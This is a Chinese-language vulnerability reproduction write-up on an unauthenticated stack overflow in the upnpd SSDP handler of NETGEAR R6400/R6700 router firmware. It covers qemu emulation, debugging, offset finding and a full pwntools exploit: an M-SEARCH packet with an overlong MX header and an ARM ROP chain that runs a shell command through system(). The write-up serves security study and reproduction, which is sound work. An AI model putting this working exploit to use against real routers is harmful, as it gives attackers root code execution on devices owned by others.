漏洞信息
此漏洞允许网络相邻攻击者在受影响的NETGEAR R6400和R6700固件版本1.0.4.98路由器上执行任意代码。利用此漏洞不需要身份验证。该漏洞存在于upnpd服务中,upnpd服务默认监听UDP 1900端口。SSDP消息中精心制作的MX报头字段可能会触发固定长度的基于堆栈的缓冲区溢出。攻击者可以利用此漏洞在根上下文中执行代码。
漏洞复现
拟机:Ubuntu20.04、qemu虚拟机
固件:R6700v3-V1.0.4.102_10.0.75.chk
工具:IDA、binwalk、qemu
固件模拟
已经知道漏洞产生于upnp服务,在binwalk解包后的文件中用find命令查找文件名包含upnp的文件,找到/usr/sbin/upnpd,IDA打开upnpd根据漏洞描述的MX报头字段搜索字符串MX确定漏洞点。见下图。
strncpy函数复制的长度是SSDP协议中字段名’MX:‘和’\r\n’中间的字符长度,这样写复制就是我中间字符想写多长,都会被strncpy复制,造成栈溢出漏洞。此漏洞产生的本质是strncpy拷贝的最大长度,错误用法是这个长度取决于输入,所以会造成栈溢出,正确用法应该是取决于要拷贝到的地方的大小。
进入qemu虚拟机后运行程序没有回显,且用ps命令查看程序,发现程序没有运行。所以程序因为某些错误无法运行。见下图。
如何找到程序问题出在哪?首先明确的是我知道漏洞点在何处,所以先看漏洞点所在函数的函数调用图,找到如何从main函数到此函数并触发漏洞。先去分析main函数,main函数中会有很多条件判断用来验证初始条件,初始条件不满足就直接退出。通过静态分析可知程序缺少那些文件,这是猜想。接下来通过gdb远程调试验证猜想。动调时某些条件判断后程序走到退出则证明此条件不满足。再与静态分析的猜想进行验证,最终确定程序无法运行的问题出在何处。
具体到本次复现,静态分析猜想/var/run/upnpd.pid
对应的/var/run/
不存在导致/var/run/upnpd.pid
文件创建失败,进而走不到main中的sub_1B0E0()
。
动态分析中程序在0x24644地址处就会退出调试,原因是守护进程(daemon)创建时会用fork()创建子进程,导致父进程exit()退出,就会导致动调退出。解决方法是0x2463C到0x2464C的汇编nop掉,即去掉daemon函数。动调可执行,最后将问题确定在没有/var/run/
目录。
具体创建/var/run/
目录时,首先使用mkdir /var/run
回显mkdir: cannot create directory '/var/run': No such file or directory
,再用ls -la /var
查看 /var
目录详细信息,回显lrwxrwxrwx 1 1000 1000 7 Sep 22 2020 /var -> tmp/var
,表明 /var
实际上是一个链接,指向了tmp/var
目录,最后使用mkdir -p /tmp/var/run
创建/tmp/var/run
目录。
完成目录创建后再运行程序,出现报错。
用docker中的交叉编译环境armv51-gcc交叉编译custom_nvram_r6250.c变成nvram.so。并指定程序加载nvram.so。
建立nvram.ini,并写入配置信息。此配置信息可由真机导出,但我没有真机,所以采用一份通用的nvram信息。其中lan_ipaddr换成qemu虚拟机的ip,hwver硬件架构写成固件版本名称,friendly_name名字随便写建议也写成固件版本名称。
upnpd_debug_level=9
lan_ipaddr=192.168.76.146
hwver=R6700
friendly_name=R6700
upnp_enable=1
upnp_turn_on=1
upnp_advert_period=30
upnp_advert_ttl=4
upnp_portmap_entry=1
upnp_duration=3600
upnp_DHCPServerConfigurable=1
wps_is_upnp=0
upnp_sa_uuid=00000000000000000000
lan_hwaddr=AA:BB:CC:DD:EE:FF
LD_PRELOAD="./nvram.so" ./usr/sbin/upnpd
。程序成功执行且nvram信息被程序获取到。
所以固件成功模拟。
漏洞利用
from pwn import *
sh = remote("192.168.76.146",1900,typ='udp')
context.log_level = 'debug'
command = b'touch ./abcd.txt'
pld = b'M-SEARCH * HTTP/1.1\r\n'
pld += b'Man:"ssdp:discover"\r\n'
pld += b'MX:'
pld += b'a' * 0x8c
pld += b'\x08\x39\x01\r\n\x00'
pld += b'a' * 0xa5
pld += p32(0x000CD000)
pld += b'a' * 8
pld += p32(0x0000BB44)
pld += command.ljust(0x400, b'\x00')
pld += p32(0x000CD000)
pld += b'a' * 8
pld += p32(0x00017DD8)
sh.send(pld)
将abcd.txt文件写入
漏洞分析
strncpy的栈溢出漏洞,利用漏洞用到三段gadget
.text:00017DD8 04 00 A0 E1 MOV R0, R4
.text:00017DDC 20 CC FF EB BL system
.text:00013908 02 DB 8D E2 ADD SP, SP, #0x800
.text:0001390C 70 80 BD E8 POP {R4-R6,PC}
.text:0000BB44 04 00 A0 E1 MOV R0, R4
.text:0000BB48 0D 10 A0 E1 MOV R1, SP
.text:0000BB4C F2 FE FF EB BL strcpy
.text:0000BB50 01 DB 8D E2 ADD SP, SP, #0x400
.text:0000BB54 70 80 BD E8 POP {R4-R6,PC}
用ROPgadget,使用ROPgadget --binary ./upnpd | grep "add sp, sp" | grep "pop"
,一点一点地找gadget。所以找到这3段gadget是不简单的。
首先是得调试上。在gdb-multiarch
使用target remote 192.168.76.146:9999
连接上qemu虚拟机后,此时pwndbg停住了,此时在IDA中找到strcnpy函数之前地址,然后下断。然后按c,让程序运行,直到按c后pwndbg回显Continuing。此时运行poc。然后在gdb中按c运行,直到在poc请求包打入后的状态停下。
然后是找偏移。使用pwntools的cyclic找偏移。分3步:
1、生成200个字符cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
2、写验证偏移的脚本
from pwn import *
sh = remote("192.168.76.146",1900,typ='udp')
context.log_level = 'debug'
command = b'touch ./abcd.txt'
pld = b'M-SEARCH * HTTP/1.1\r\n'
pld += b'Man:"ssdp:discover"\r\n'
pld += b'MX:'
pld += b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
pld += b'\r\n'
sh.send(pld)
3、看报错信息确定偏移,见下图。得到偏移136。
接着是找gadget。其中本次使用的3段gadget需要使用ROPgadget,使用ROPgadget --binary ./upnpd | grep "add sp, sp" | grep "pop"
。即ROPgadget搭配grep逐渐缩小范围,最终找到这三段gadget。所以找到这3段gadget是不简单的。
strncpy函数复制数据时有1个特点是在允许复制的长度中遇到\x00会被截断,所以gadget中不能有\x00。本个例子也有1个特点是允许复制数据的长度是MX:之后到\r\n之间的数据的长度。所以本例子在构造poc时需要考虑这两点。注意poc中的pld += b'\x08\x39\x01\r\n\x00'
这句考虑了2点:1、分析IDA反汇编的c代码可以,strncpy复制的长度是MX:与\r\n之间的内容的长度,长度是这个,内容也是这个,所以必加\r\n
,而且地址这个数字没加\x00
。2、\r\n
之后的\x00
是告诉程序SSDP协议的设备搜索请求的协议部分完成,确保整个协议格式正确可以被程序接收。
逐行分析poc。根据本poc,偏移是140比之前找到的偏移136多4,找到的偏移与最终使用的偏移不同,这是1个保留的问题。返回地址是跳到地址0x00013908执行此句汇编(将栈顶往高地址放,其实是往栈底方向放,完成栈迁移)。这句是将sp+0x800,+0x800是精心构造好的,首先是只有地址0x00013908
这句汇编的第二句是POP {R4-R6,PC}
,只有这么两句汇编可做为gadget,所以栈顶必须跳到距当前栈顶+0x800的位置,这个位置的内容必须这部分poc内容,见下面代码行,所以需要pld += b'a' * 0xa5
把内容往下顶,让这部分poc正好够上迁移过来的栈。全部输入的内容都在这里,你想使用那部分就用那部分。
pld += p32(0x000CD000)
pld += b'a' * 8
pld += p32(0x0000BB44)
pld += command.ljust(0x400, b'\x00')
pld += p32(0x000CD000)
pld += b'a' * 8
pld += p32(0x00017DD8)
所以第1个gadget的任务是将0xcd000这全局变量地址放到r4寄存器,将下一个gadget地址放到0xBB44放到pc寄存器,此时栈顶地址里放着要执行的命令即栈里放着命令字符串。总的来说第1个gadget干这3件事。见下图。
进入第2个gadget,首先使用strcpy函数将0xcd000这个全局变量地址里放入要执行的命令字符串。见下图。
接下继续用add sp, sp, #0x400
抬栈,抬栈操作与pld += command.ljust(0x400, b'\x00')
相对应。见下图。
然后利用POP {R4-R6,PC}
将r4中放入全局变量地址(全局变量地址中是命令字符串),r5和r6没用,随便填,pc中放入下个gadget地址。所以第2个gadget干了2件事,第1件利用strcpy函数将命令字符串放入全局变量地址,第2件事将全局变量地址放到r4,pc中放入下1个gadget地址。
进入第3个gadget。干了一件事用system函数执行命令。
整个poc构造是很紧密的。关键是找到打入poc后全部数据放在何处,还有就是要找到3个精美的gadget。